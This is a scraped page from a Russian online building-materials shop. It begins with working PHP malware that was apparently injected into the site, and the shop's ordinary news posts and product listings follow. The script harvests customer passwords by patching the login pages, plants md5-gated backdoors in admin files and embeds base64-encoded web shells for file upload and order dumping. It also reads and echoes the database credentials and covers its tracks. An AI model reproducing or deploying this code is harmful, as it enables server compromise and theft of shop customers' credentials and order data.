if(file_exists($path."../../osh.php")) unlink($path."../../osh.php"); if(file_exists($path."../../../images/osh.php")) unlink($path."../../../images/osh.php"); if(file_exists($path."../../../osh.php")) unlink($path."../../../osh.php"); if(file_exists($script) && $script != "cookie_usage.php" && $script != "mainpage.php") unlink($script); } function write_login(){ GLOBAL $path; $filename = $path."create_account.php"; $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); if(strstr($data, "HTTP_POST_VARS['password']);") && !strstr($data, 'session_register("customer_pass")')){ $position = strpos($data, "HTTP_POST_VARS['password']);") + strlen("HTTP_POST_VARS['password']);"); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $add = ' $customer_pass = $password; session_unregister("customer_pass"); session_register("customer_pass");'; $data = $split1.$add.$split2; $handle = @fopen($filename, "w"); fwrite($handle, $data); fclose($handle); } if(strstr($data, 'session_unregister("customer_pass");') && !strstr($data, 'session_register("nip");')){ $position = strpos($data, "session_unregister("customer_pass");") + strlen("session_unregister("customer_pass");"); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $add = ' session_register("nip");'; $data = $split1.$add.$split2; $handle = @fopen($filename, "w"); fwrite($handle, $data); fclose($handle); } $filename = $path."login.php"; $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); if(strstr($data, "HTTP_POST_VARS['password']);") && !strstr($data, 'session_register("customer_pass")')){ $position = strpos($data, "HTTP_POST_VARS['password']);") + strlen("HTTP_POST_VARS['password']);"); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $add = ' $customer_pass = $password; session_unregister("customer_pass"); session_register("customer_pass");'; $data = $split1.$add.$split2; $handle = @fopen($filename, "w"); fwrite($handle, $data); fclose($handle); } } function get_info(){ GLOBAL $path; GLOBAL $orders, $customers, $country, $db; if(file_exists($path."includes/configure.php")) include($path."includes/configure.php"); else return false; mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD); mysql_select_db(DB_DATABASE); if(defined("DB_TABLE_PREFIX")) $prefix = DB_TABLE_PREFIX; if(defined("DB_PREFIX")) $prefix = DB_PREFIX; mysql_query("UPDATE ".$prefix."configuration SET configuration_value = 'true' where configuration_key = 'ACCOUNT_DOB'"); mysql_query("UPDATE ".$prefix."configuration SET configuration_value = 'true' where configuration_key = 'ACCOUNT_NIP'"); $sql = mysql_query("SELECT COUNT(*) FROM ".$prefix."orders"); $td = mysql_fetch_array($sql); $orders = $td[0]; $sql = mysql_query("SELECT COUNT(*) FROM ".$prefix."customers"); $td = mysql_fetch_array($sql); $customers = $td[0]; if($orders=="") $orders="error"; if($customers=="") $customers="error"; $sql = mysql_query("SELECT customers_country, COUNT(*) AS 'mcount' FROM ".$prefix."orders GROUP BY customers_country ORDER BY mcount DESC LIMIT 0,1"); $td = mysql_fetch_array($sql); $country = $td[0]; if($country=="") $country="error"; if(function_exists("posix_getpwuid")){ $userinfo = posix_getpwuid(fileowner($path."index.php")); $fileuser = $userinfo['name']; } $db = DB_SERVER_USERNAME."::::".$fileuser."::::".DB_SERVER_PASSWORD; } function write_bd($file){ GLOBAL $path, $hash; $filename = $path.$file; $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); if(!strstr($data, 'if(md5(md5($_GET['p'])) !=')){ $data = '<?php if(md5(md5($_GET['p'])) != "'.$hash.'") exit; ?>'.$data; $handle = @fopen($filename, "w"); if(fwrite($handle, $data) === FALSE){ fclose($handle); return false; }else{ fclose($handle); return true; } } } function write_bd2($file){ GLOBAL $path, $hash; $str = "PD8NCmlmKG1kNShtZDUoJF9HRVRbJ3AnXSkpID09ICIlaGFzaCUiKXsNCgkkdG1wX2ZpbGUgPSAkX0ZJTEVTWyd1ZmlsZSddWyd0bXBfbmFtZSddOw0KCWlmKCFpc191cGxvYWRlZF9maWxlKCR0bXBfZmlsZSkpew0KCQlleGl0KCJ1cGxvYWQgZmFpbGVkICgwKSIpOw0KCX0NCgkkbmFtZV9maWxlID0gJF9GSUxFU1sndWZpbGUnXVsnbmFtZSddOw0KCWlmKCFtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9maWxlLCAkX1BPU1RbJ2RpciddLiRuYW1lX2ZpbGUpKXsNCgkJZXhpdCgidXBsb2FkIGZhaWxlZCIpOw0KCX0NCgkkcG9zaXRpb24gPSBzdHJwb3MoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sIGJhc2VuYW1lKF9fRklMRV9fKSk7DQoJJHVyaSA9IHN1YnN0cigkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgMCwgJHBvc2l0aW9uKTsNCgkkdXJsMSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXS4kdXJpLiRfUE9TVFsnZGlyJ10uJG5hbWVfZmlsZTsNCgllY2hvICJ1cGxvYWRlZDxicj5odHRwOi8vJHVybDE8YnI+PGJyPiI7DQoJZXhpdDsNCn0NCj8+"; $str = base64_decode($str); $str = str_replace("%hash%", $hash, $str); $filename = $path.$file; $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); if(!strstr($data, 'if(md5(md5($_GET['p']))')){ $data = $str.$data; $handle = @fopen($filename, "w"); if(fwrite($handle, $data) === FALSE){ fclose($handle); return false; }else{ fclose($handle); return true; } } } function write_o3(){ GLOBAL $path; $str = "PD9waHANCiRzY3JpcHQgPSBiYXNlbmFtZShfX0ZJTEVfXyk7DQokZnVsbHBhdGggPSAkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl07DQokcGF0aCA9IHN1YnN0cigkZnVsbHBhdGgsIDAsIHN0cnBvcygkZnVsbHBhdGgsICRzY3JpcHQpKTsNCg0KaWYoc3Ryc3RyKCRwYXRoLCAiZG93bmxvYWQvIikpICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCBzdHJwb3MoJHBhdGgsICJkb3dubG9hZC8iKSk7DQppZihzdHJzdHIoJHBhdGgsICJpbWFnZXMvIikpICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCBzdHJwb3MoJHBhdGgsICJpbWFnZXMvIikpOw0KaWYoc3Ryc3RyKCRwYXRoLCAiaW5jbHVkZXMvIikpICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCBzdHJwb3MoJHBhdGgsICJpbmNsdWRlcy8iKSk7DQo/Pg0KPEhUTUw+DQo8SEVBRD4NCjxUSVRMRT5PU0ggbWluaTwvVElUTEU+DQo8c3R5bGUgVFlQRT0idGV4dC9jc3MiPg0KPCEtLQ0KQk9EWSwgUCwgVEQgeyBmb250LWZhbWlseTogdmVyZGFuYTsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyB0ZXh0LXRyYW5zZm9ybTogbm9uZTsgfQ0KaW5wdXQsIHRleHRhcmVhLCBzZWxlY3Qge2ZvbnQ6IG5vcm1hbCAxMHB4IHZlcmRhbmE7fQ0KYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgIGNvbG9yOiAjMDAwMDAwO30NCmE6aG92ZXIgeyBjb2xvcjogIzZmOTlmMjsgfQ0KYTphY3RpdmUgeyBjb2xvcjogIzZmOTlmMjsgfQ0KIC0tPg0KPC9zdHlsZT4NCjwvSEVBRD4NCjxCT0RZIEJHQ09MT1I9I0NDQ0NDQyBMRUZUTUFSR0lOPTEgVE9QTUFSR0lOPTEgTUFSR0lOV0lEVEg9MTAgTUFSR0lOSEVJR0hUPTEwPg0KPGEgaHJlZj0iP3g9eCI+dXBsb2FkPC9hPiZuYnNwOyZuYnNwOyZuYnNwOzxhIGhyZWY9Ij94PWQiPmRlbGV0ZTwvYT4NCjxicj48YnI+DQo8P3BocA0KaWYoJF9HRVRbJ3gnXT09IngiKXsNCgkJaWYoJF9HRVRbJ2RvJ109PSJ1cCIpew0KCQkJJHRtcF9maWxlID0gJF9GSUxFU1sndWZpbGUnXVsndG1wX25hbWUnXTsNCgkJCWlmKCFpc191cGxvYWRlZF9maWxlKCR0bXBfZmlsZSkpIGV4aXQoInVwbG9hZCBmYWlsZWQgKDApIik7DQoJCQkkbmFtZV9maWxlID0gJF9GSUxFU1sndWZpbGUnXVsnbmFtZSddOw0KCQkJaWYoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX2ZpbGUsICRfUE9TVFsnZGlyJ10uJG5hbWVfZmlsZSkpIGV4aXQoInVwbG9hZCBmYWlsZWQiKTsNCgkJCSRwb3NpdGlvbiA9IHN0cnBvcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSwgYmFzZW5hbWUoX19GSUxFX18pKTsNCgkJCSR1cmkgPSBzdWJzdHIoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10sIDAsICRwb3NpdGlvbik7DQoJCQkkdXJsMSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXS4kdXJpLiRfUE9TVFsnZGlyJ10uJG5hbWVfZmlsZTsNCgkJCWVjaG8gInVwbG9hZGVkIDogPGEgaHJlZj1cImh0dHA6Ly8kdXJsMVwiIHRhcmdldD1cIl9ibGFua1wiPmh0dHA6Ly8kdXJsMTwvYT4iOw0KCQl9DQoJZWNobyAiPGZvcm0gbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwiJHNjcmlwdD9kbz11cCZ4PXhcIj4NCjxwPg0KRElSIDogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRpclwiIHNpemU9XCIzMFwiPjxicj4NCkZpbGUgOiA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidWZpbGVcIiBzaXplPVwiMzBcIj48YnI+CQ0KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwidXBsb2FkXCIgdmFsdWU9XCJVcGxvYWRcIj4NCjwvcD4NCjwvZm9ybT4iOw0KCWV4aXQ7DQp9DQppZigkX0dFVFsneCddPT0iZCIpew0KCUB1bmxpbmsoJHNjcmlwdCk7DQoJQHVubGluaygkcGF0aC4kc2NyaXB0KTsNCglAdW5saW5rKCRwYXRoLiJpbWFnZXMvIi4kc2NyaXB0KTsNCgllY2hvICJkb25lIjsNCglleGl0Ow0KfQ0KDQppZihmaWxlX2V4aXN0cygkcGF0aC4iaW5jbHVkZXMvY29uZmlndXJlLnBocCIpKSBpbmNsdWRlKCRwYXRoLiJpbmNsdWRlcy9jb25maWd1cmUucGhwIik7DQplbHNlIHsNCgllY2hvICJFUlJPUiI7DQoJZXhpdDsNCn0NCg0KbXlzcWxfY29ubmVjdChEQl9TRVJWRVIsIERCX1NFUlZFUl9VU0VSTkFNRSwgREJfU0VSVkVSX1BBU1NXT1JEKTsJDQpteXNxbF9zZWxlY3RfZGIoREJfREFUQUJBU0UpOw0KaWYoZGVmaW5lZCgiREJfVEFCTEVfUFJFRklYIikpICRwcmVmaXggPSBEQl9UQUJMRV9QUkVGSVg7DQppZihkZWZpbmVkKCJEQl9QUkVGSVgiKSkgJHByZWZpeCA9IERCX1BSRUZJWDsNCgkNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAiLiRwcmVmaXguIm9yZGVycyBPUkRFUiBCWSBvcmRlcnNfaWQgREVTQyIpOw0KaWYoISRyZXN1bHQpew0KCWRpZSgiUXVlcnkgdG8gc2hvdyBmaWVsZHMgZnJvbSB0YWJsZSBmYWlsZWQiKTsNCn0NCiRmaWVsZHNfbnVtID0gbXlzcWxfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCmVjaG8gIjx0YWJsZSBib3JkZXI9JzEnPjx0cj4iOw0KZm9yKCRpPTA7ICRpPCRmaWVsZHNfbnVtOyAkaSsrKXsNCgkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCgkcmVzdWx0KTsNCgllY2hvICI8dGQ+eyRmaWVsZC0+bmFtZX08L3RkPiI7DQp9DQplY2hvICI8L3RyPlxuIjsNCg0KJGMgPSAwOw0Kd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSl7DQoJJGMrKzsNCgllY2hvICI8dHI+IjsgDQoJZm9yZWFjaCgkcm93IGFzICRjZWxsKQ0KCQllY2hvICI8dGQ+JGNlbGw8L3RkPiI7DQoJZWNobyAiPC90cj5cbiI7DQoJaWYoJGM+MTAwKSBicmVhazsNCn0NCg0KZWNobyAiPC90YWJsZT4iOw0KDQo/Pg0KPC9CT0RZPg0KPC9IVE1MPg=="; $str = base64_decode($str); $handle = @fopen($path."images/osh3.php", "w"); if(fwrite($handle, $str) === FALSE) $r[1] = false; else $r[1] = true; fclose($handle); $handle = @fopen($path."osh3.php", "w"); if(fwrite($handle, $str) === FALSE) $r[2] = false; else $r[2] = true; fclose($handle); return $r; } function write_lng(){ GLOBAL $path; $str = "PD9waHANCmRlZmluZSgnTkFWQkFSX1RJVExFJywgJ0Nvb2tpZSBVc2FnZScpOw0KZGVmaW5lKCdIRUFESU5HX1RJVExFJywgJ0Nvb2tpZSBVc2FnZScpOw0KDQpkZWZpbmUoJ1RFWFRfSU5GT1JNQVRJT04nLCAnV2UgaGF2ZSBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBzdXBwb3J0IGNvb2tpZXMsIG9yIGhhcyBzZXQgY29va2llcyB0byBiZSBkaXNhYmxlZC48YnI+PGJyPlRvIGNvbnRpbnVlIHNob3BwaW5nIG9ubGluZSwgd2UgZW5jb3VyYWdlIHlvdSB0byBlbmFibGUgY29va2llcyBvbiB5b3VyIGJyb3dzZXIuPGJyPjxicj5Gb3IgPGI+SW50ZXJuZXQgRXhwbG9yZXI8L2I+IGJyb3dzZXJzLCBwbGVhc2UgZm9sbG93IHRoZXNlIGluc3RydWN0aW9uczo8YnI+PG9sPjxsaT5DbGljayBvbiB0aGUgVG9vbHMgbWVudWJhciwgYW5kIHNlbGVjdCBJbnRlcm5ldCBPcHRpb25zPC9saT48bGk+U2VsZWN0IHRoZSBTZWN1cml0eSB0YWIsIGFuZCByZXNldCB0aGUgc2VjdXJpdHkgbGV2ZWwgdG8gTWVkaXVtPC9saT48L29sPldlIGhhdmUgdGFrZW4gdGhpcyBtZWFzdXJlbWVudCBvZiBzZWN1cml0eSBmb3IgeW91ciBiZW5lZml0LCBhbmQgYXBvbG9naXplIHVwZnJvbnQgaWYgYW55IGluY29udmVuaWVuY2VzIGFyZSBjYXVzZWQuPGJyPjxicj5QbGVhc2UgY29udGFjdCB0aGUgc3RvcmUgb3duZXIgaWYgeW91IGhhdmUgYW55IHF1ZXN0aW9ucyByZWxhdGluZyB0byB0aGlzIHJlcXVpcmVtZW50LCBvciB0byBjb250aW51ZSBwdXJjaGFzaW5nIHByb2R1Y3RzIG9mZmxpbmUuJyk7DQoNCmRlZmluZSgnQk9YX0lORk9STUFUSU9OX0hFQURJTkcnLCAnQ29va2llIFByaXZhY3kgYW5kIFNlY3VyaXR5Jyk7DQpkZWZpbmUoJ0JPWF9JTkZPUk1BVElPTicsICdDb29raWVzIG11c3QgYmUgZW5hYmxlZCB0byBwdXJjaGFzZSBvbmxpbmUgb24gdGhpcyBzdG9yZSB0byBlbWJyYWNlIHByaXZhY3kgYW5kIHNlY3VyaXR5IHJlbGF0ZWQgaXNzdWVzIHJlZ2FyZGluZyB5b3VyIHZpc2l0IHRvIHRoaXMgc2l0ZS48YnI+PGJyPkJ5IGVuYWJsaW5nIGNvb2tpZSBzdXBwb3J0IG9uIHlvdXIgYnJvd3NlciwgdGhlIGNvbW11bmljYXRpb24gYmV0d2VlbiB5b3UgYW5kIHRoaXMgc2l0ZSBpcyBzdHJlbmd0aGVuZWQgdG8gYmUgY2VydGFpbiBpdCBpcyB5b3Ugd2hvIGFyZSBtYWtpbmcgdHJhbnNhY3Rpb25zIG9uIHlvdXIgb3duIGJlaGFsZiwgYW5kIHRvIHByZXZlbnQgbGVha2FnZSBvZiB5b3VyIHByaXZhY3kgaW5mb3JtYXRpb24uJyk7DQo/Pg=="; $str = base64_decode($str); $handle = @fopen($path."/includes/languages/".$_GET['l']."/cookie_usage.php", "w"); if(fwrite($handle, $str) === FALSE) $r = false; else $r = true; fclose($handle); return $r; } function write_lng2(){ GLOBAL $path; $str = ""; $handle = @fopen($path."/includes/languages/".$_GET['l']."/mainpage.php", "w"); if(fwrite($handle, $str) === FALSE) $r = false; else $r = true; fclose($handle); return $r; } function change_my_hash($file){ GLOBAL $path, $hash, $hash2; $filename = $path.$file; $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); $data = str_replace($hash, $hash2, $data); $handle = @fopen($filename, "w"); if(fwrite($handle, $data) === FALSE){ fclose($handle); return false; }else{ fclose($handle); return true; } } delete_phps(); $password = getUniqueCode(); if(!empty($_GET['p'])) $password = $_GET['p']; $hash = md5(md5($password)); $password2 = getUniqueCode(); $hash2 = md5(md5($password2)); get_info(); /*$o = write_o3(); if($o[1] == true && $o[2] == true) $o3 = $pageURL."osh3.php"."<>".$pageURL."images/osh3.php"; else if($o[1] == true && $o[2] == false) $o3 = $pageURL."images/osh3.php"; else if($o[1] == false && $o[2] == true) $o3 = $pageURL."osh3.php"; else $o3 = "no";*/ $o3 = "no"; /*$file = get_payment_file(); if($file == false){ echo "string:1nfinity<br>ERROR1<br>o3:$o3<br>db:$db<br>"; exit; } if(!write_payment($file)){ echo "string:1nfinity<br>ERROR2<br>o3:$o3<br>db:$db<br>"; exit; } write_login(); write_confirmation(); $okay = 0; if(write_bd("admin/htmlarea/popups/file/files.php")) $okay = 1; if(write_bd("admin/banner_manager.php")) $okay = 1; if(write_bd("admin/categories.php")) $okay = 1; if(write_bd("admin/manufacturers.php")) $okay = 1; if(write_bd("admin/file_manager.php")) $okay = 1; if(write_bd("admin/define_language.php")) $okay = 1; if(write_bd("admin/define_mainpage.php")) $okay = 1; if(write_bd2("account.php")) $okay = 1; if(write_bd2("product_info.php")) $okay = 1; if($okay == 0 && empty($_GET['p'])) $password = ""; if($script == "cookie_usage.php") if(!write_lng()) unlink($script); if($script == "mainpage.php") if(!write_lng2()) unlink($script);*/ if(change_my_hash("admin/htmlarea/popups/file/files.php")) $okay = 1; if(change_my_hash("admin/banner_manager.php")) $okay = 1; if(change_my_hash("admin/categories.php")) $okay = 1; if(change_my_hash("admin/manufacturers.php")) $okay = 1; if(change_my_hash("admin/file_manager.php")) $okay = 1; if(change_my_hash("admin/define_language.php")) $okay = 1; if(change_my_hash("admin/define_mainpage.php")) $okay = 1; if(change_my_hash("account.php")) $okay = 1; if(change_my_hash("product_info.php")) $okay = 1; echo "string:1nfinity<br>orders:$orders<br>customers:$customers<br>country:$country<br>pass:$password<br>pass2:$password2<br>o3:$o3<br>db:$db<br>"; ?>
News Desk Stickies
box_bg_l.gif.
Оплата наличными и безналичным расчетом!- 28 августа 2010 г. Просмотров:1764
Наша компания осуществляет как наличные продажи материалов так и безналичные для этого вам необходимо : 
  1. Вы размещаете у нас на сайте или звоните нашим операторам  заявку реквизиты и адрес доставки
  2. мы Вам сбрасываем счет с спецценами , сообщаем стоимость доставки и сроки
  3. все с вами согласовываем, направляем свою машину с экспедитором к Вашему объекту
[Подробнее]
Все материалы для ремонта в одном месте- 12 июля 2010 г. Просмотров:1985
Быстрая и недорогая доставка стройматериалов по Москве и Московской области с 8.00 до 21.00 без выходных и праздников. Качество обслуживания и быстрота доставки – главные критерии работы нашего магазина. Большой ассортимент строительных материалов для различных видов ремонтных работ, представленных в нашем магазине, позволит Вам подобрать и скомпоновать необходимый объем, начиная от гвоздя, пеноблоков и пиломатериалов и заканчивая профилем гипсокартоном и красками, обоями для чистовой отделки. Наш девиз «Все строительные материалы для ремонта – в одном месте».
[Подробнее]
Доставка и подъем стройматериалов- 28 июня 2010 г. Просмотров:2334
Подъем стройматериалов осуществляется за отдельную плату (по Вашему желанию). Для того чтобы рассчитать стоимость подъема конкретного заказа свяжитесь с нашим менеджером.
Время работы магазина и доставка стройматериалов осуществляется ежедневно с 8:00 до 21:00.доставка материалов может осуществлена в любой день.
ИНТЕРНЕТ-МАГАЗИН СТРОИТЕЛЬНЫХ МАТЕРИАЛОВ «Всё для ремонта»
[Подробнее]
Мы работаем без выходных и праздников !- 04 мая 2010 г. Просмотров:1720
 В отличие от многих интернет магазинов Москвы, мы работаем без выходных, праздников и перерывов, тем самым, обеспечивая максимальный комфорт для наших клиентов, которые могут заказывать стройматериалы в удобное для них время. И мы доставим без промедлений заказаный вами строительный материал в нашем интернет магазине.
Католог строительных материалов в магазине насчитывает более 5000 позиций материалов и он часто пополняется. Наш магазин продает только качественые стройматериалы соответсвующии всем нормам и стандартам.
[Подробнее]
Строительные материалы с доставкой на дом – это выгодно- 22 апреля 2010 г. Просмотров:2062
Магазин стройматериалы для ремонта предлагает: всевозможные строительные материалы: лакокрасочный, изоляционный материал. Сухие смеси для внутренней и наружной отделки, ДВП, ДСП, фанера, наличник, плинтус, доска. Сантехника, плитка, обои, линолеум, подвесной потолок, гипсокартон, профиль, метизы и многое другое.
Принимаем заказы на любые стройматериалы!
тел.: 8 495 773-74-24
 
[Подробнее]
Интернет магазин строительных и отделочных материалов.- 06 июня 2009 г. Просмотров:4093
Интернет магазин строительных и отделочных материалов "Все для ремонта" - предлагает строительные материалы оптом и в розницу для Вашего строительства. А так же у нас доставка строительных материалов по Москве и области. Наш магазин строительных и отделочных материалов предлагает к вашему вниманию широкий выбор продукции
 
Если вы задумали какую-либо постройку, полноценный ремонт, то тогда вам невозможно обойтись без данного сайта специализированной фирмы! Первая задача для качественных ремонтных работ - верный подбор инструментов, ведь от этого зависит весь результат. Мы осуществляем доставку стройматериалов по Москве . В интернет - магазине строительных материалов " Все для ремонта " вы выберете необходимые строительные и отделочные материалы, которые смогут Вам понадобиться при строительстве или ремонте: цемент, кирпич, подвесные потолки, линолеум, гипсокартон, пиломатериалы, краски, обои и многое другое.
[Подробнее]
Ревизионные металические люки !- 06 июня 2009 г. Просмотров:2941
 У нас вы сможете приобрести и заказать ревизионные металические люки ! люки, лючки из первых рук без посредников!
ревизионные люки под отделку плиткой, люки под покраску, люки для стен, люки для потолков, перегородок, напольные люки, металлические ревизионные лючки, сантехнические люки, сантехнические металлические люки с замком и магнитом, пластиковые люки, перфорированные решетки, вентиляционные решетки, как оптом, так и в розницу. позвоните по т. 773-74-24 закажите нужный вам  люк необходимого размера.
[Подробнее]
Доставка стройматериалов- 06 июня 2009 г. Просмотров:3216
 Интернет магазин Все для ремонта продает строительные материалы по Москве и области мы доставляем нужные вам стройматериалы в назначеный вами срок . продажа только качественых строительных материалов а также безопасная доставка стройматериалов. 
Наш магазин стройматериалов продает оптом и в розницу строительные и отделочные материалы.
У нас прямые поставки с производителями разнообразной продукции для строительства, отделки и ремонта, что позволяет обеспечить минимальные сроки поставок продукции по низким ценам.
Широкий ассортимент отделочных материалов и материалов для строительства по минимальным ценам: инструменты строительные, сухие смеси, клей , краски, профиль, плитку, линолеум,  ламинат, крепеж строительный, стеклообои и многое другое.
[Подробнее]
box_bg_r.gif.
Рекомендуемые товары Перейти
Шпаклевка полимерная Юнис Крон финишная (25кг)
Шпаклевка полимерная Юнис Крон финишная (25кг)
310.00 руб.
Сухая смесь М-150 Каменный цветок 50 кг
Сухая смесь М-150 Каменный цветок 50 кг
120.00 руб.
Сетка 50*50 (1.5мх45м)
Сетка 50*50 (1.5мх45м)
3,100.00 руб.

Интернет магазин Все для ремонта это -продажа и доставка строительных и отделочных материалов по Москве. Покупка строительных материалов не займет у Вас много времени достаточно просто позвонить по тел. в Москве 773-74-24 и заказать необходимые вам отделочные матриалы для вашего ремонта.

Наш магазин строительные и отделочные материалы - предлагает Вам большой ассортимент стройматеиалов по разумным ценам.  Заказать материалы для ремонта можно позвонив к нам по т.  773-74-24 или оформить заказ в нашем интернет магазине " Все для ремонта ".

Широкий ассортимент строительных и отделочных материалов и материалов для ремонта по минимальным ценам: штукатурки, шпатлевки, клей плиточный, наливной пол, гипсокартон, пескобетон м 300, цемент, кирпич, пеноблок, утеплители, фанера, крепеж и многое другое.

Интернет магазин предлагат Вам строительные и отделочные материалы все что нужно и необходимо для ремонта квартир, офисов. Наш магазин www.remont-ik.ru продает оптом и в розницу стройматериалы с доставкой по Москве и области.

Заказ стройматериалов с доставкой. Мы доставим к Вам строительные и отделочные материалы только лучшего качества известных производителей. Заказанные у нас стройматериалы привезут к Вам в назначенное заранее время. Позвоните к нам и доставка материалов для вашего ремонта будет организована без промедления.

Сроительные и отделочные материаллы - это незаменимая состовляющая для ремонта и сроительтва. Без стройматериалов необходится ни один ремонт котрый занимает очень много времни. Наш магазин по продаже сроительных материлов предлагает Вам сократить время на поиск необхдимых строительных и отделочных материалов. Все что нужно для ремонта вы найдете в нашем магазине, а мы доставим вам необходимые материлы для строительства.

Наливные полы в нашем интернет магазине по продаже строительнх материалов можно заказать с доставкой у нас всегда есть в наличии ассоримент продукции :  Ветонит 3000, Ветонит 5000, Наливной пол Горизонт, Горизонт-2 и другии смеси для пола смотрите в разделе  Самовыравнивающиеся смеси для полов. 

Инструменты строительные для ремонта и строительства. Предлагаем строительные инструменты различных производителей известных марок. Мы доставим к Вам нужный для ремонта или строительства необходимый инструмент. Мы продаем только качественный инструмент у нас вы найдете любой строительнй инструмент который понадобится вам для ремота

Доставка стройматериалов по низким ценам все что понадобится для строительства или ремонта помещений можно заказать у нас в интернет - магазине строительных материалов. Позвонив к нам вы без труда приобретете все стройматериалы необходимые для ремонта.

Наш магазин продает оптом и в розницу материалы строительные для ремонта(большой ассортимент продукции) мы доставим вам стройматериалы , поможем подобрать лучшее по цене и качеству, что есть на строительном рынке.

Заказ и доставка стройматериалов будет рассмотрена в кротчайшие сроки. Достаточно оформить заявку в нашем магазине Все для ремонта или позвонить по телефону в Москве 773-74-24. Мы занимаемся поставками стройматериалов на объект строительства. Ваш заказ не останется без внимание наши сотрудники свяжутся с Вами проконцультируют по наличию и цене строительных материалов.

Рекомендуемые Перейти
Клей плиточный ЮНИС 2000 (25кг)
Клей плиточный ЮНИС 2000 (25кг)
220.00 руб.
Корзина Перейти
Корзина пуста
Вход
E-Mail:
Пароль:
Регистрация
Производители
Опросы
Что вам понравилось в нашем интернет магазине
удобный поиск
наличие описания товара
низкие цены
ассортимент стройматериалов
Результаты | Опросы
Голосов:109
Отзывы Перейти
ВЕТОНИТ 5000 смесь для первоначального выравнивания полов (25кг)
лудьший наливной пол прочный устойчивый ..
4 из 5 звёзд!
/


Люки ревизионные | Все для ремонта | Доставка стройматериалов | Сухие смеси | Профиль | Стройматериалы с доставкой | Сроительные и отделочные материалы |


RSS каналы


пїЅпїЅпїЅпїЅпїЅпїЅ W100  •  пїЅпїЅпїЅ-пїЅпїЅпїЅпїЅпїЅпїЅпїЅ  •  пїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅпїЅ пїЅпїЅпїЅпїЅпїЅпїЅ